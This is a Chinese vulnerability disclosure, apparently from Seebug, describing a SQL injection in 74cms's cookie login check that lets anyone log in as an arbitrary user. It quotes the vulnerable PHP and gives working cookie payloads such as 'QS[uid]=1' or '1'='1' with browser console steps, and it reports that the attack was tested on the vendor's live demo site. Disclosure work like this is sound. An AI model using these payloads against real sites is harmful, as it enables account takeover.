### 简要描述：
骑士CMS最新版任意用户登陆（官网demo测试）。
### 详细说明：
骑士CMS最新版去掉了全局addslash
```
include/common.inc.php
```
```
@@ -17,20 +17,10 @@ session_save_path(QISHI_ROOT_PATH.'data/sessions/');
session_start();\r
require_once(QISHI_ROOT_PATH.'data/config.php');\r
header("Content-Type:text/html;charset=".QISHI_CHARSET);\r
+require_once(QISHI_ROOT_PATH.'include/help.class.php');\r
require_once(QISHI_ROOT_PATH.'include/common.fun.php');\r
require_once(QISHI_ROOT_PATH.'include/74cms_version.php');\r
$QSstarttime=exectime();\r
-\r
-if (!empty($_GET))\r
-{\r
-$_GET = addslashes_deep($_GET);\r
-}\r
-if (!empty($_POST))\r
-{\r
-$_POST = addslashes_deep($_POST);\r
-}\r
-$_COOKIE = addslashes_deep($_COOKIE);\r
-$_REQUEST = addslashes_deep($_REQUEST);\r
date_default_timezone_set("PRC");\r
$timestamp = time();\r
$online_ip=getip();\r
```
导致在旧版PHP GPC off或和PHP5.x上参数直接带入SQL语句，虽然include/help.class.php添加了新的过滤函数，但是对正常拼接出来的SQL语句无效。这样在GET，POST， COOKIE中均可带入'，导致各种越权。
本例以任意帐号登陆来演示。
user/user_favorites_job.php会调用check_cookie()来检查COOKIE登陆，
```
12 define('IN_QISHI', true);
13 require_once(dirname(__FILE__).'/../include/common.inc.php');
14 $act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : 'add';
15 require_once (QISHI_ROOT_PATH.'include/mysql.class.php');
16 $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
17 if((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
18 {
19 require_once (QISHI_ROOT_PATH.'include/fun_user.php');
20 if(check_cookie($_COOKIE['QS']['uid'],$_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
21 {
22 update_user_info($_COOKIE['QS']['uid'],false,false);
23 header("Location:".get_member_url($_SESSION['utype']));
24 }
25 else
26 {
...snip...
32 }
33 }
```
```
223 function check_cookie($uid,$name,$pwd){
224 global $db;
225 $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE uid='{$uid}' and username='{$name}' and password = '{$pwd}'");
226 if($row['num'] > 0)
227 {
228 return true;
229 }else{
230 return false;
231 }
232 }
```
check_cookie拼接SQL使用了没有过滤的COOKIE值，这样我们只要设置COOKIE为：
```
QS[uid]=1' or '1'='1
QS[username]=testadmin
QS[password]=aa
```
访问http://demo.74cms.com/user/user_favorites_job.php即可登陆uid为1的帐号。
未登陆状态访问http://demo.74cms.com/，F12打开chrome的开发工具，进入控制台输入：
```
document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=1' or '1'='1";
```
[<img src="https://images.seebug.org/upload/201508/03155124d7b5498a28b36c3e42382379355c853c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/03155124d7b5498a28b36c3e42382379355c853c.png)
访问http://demo.74cms.com/user/user_favorites_job.php即可看到登陆成功。
[<img src="https://images.seebug.org/upload/201508/0315513756f4eb0d73ab0ddd90e63d6ac711b23f.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/0315513756f4eb0d73ab0ddd90e63d6ac711b23f.png)
退出，然后使用uid=2登陆：
```
document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=2' or '1'='1";
```
[<img src="https://images.seebug.org/upload/201508/0315514909bbb94fa70943add38bbefb2c3e6e61.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/0315514909bbb94fa70943add38bbefb2c3e6e61.png)
访问http://demo.74cms.com/user/user_favorites_job.php即可看到登陆成功。
[<img src="https://images.seebug.org/upload/201508/03155156328e3eda7d96b8a2a5cd60019050fcdc.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/03155156328e3eda7d96b8a2a5cd60019050fcdc.png)
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201508/0315513756f4eb0d73ab0ddd90e63d6ac711b23f.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/0315513756f4eb0d73ab0ddd90e63d6ac711b23f.png)
[<img src="https://images.seebug.org/upload/201508/03155156328e3eda7d96b8a2a5cd60019050fcdc.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/03155156328e3eda7d96b8a2a5cd60019050fcdc.png)
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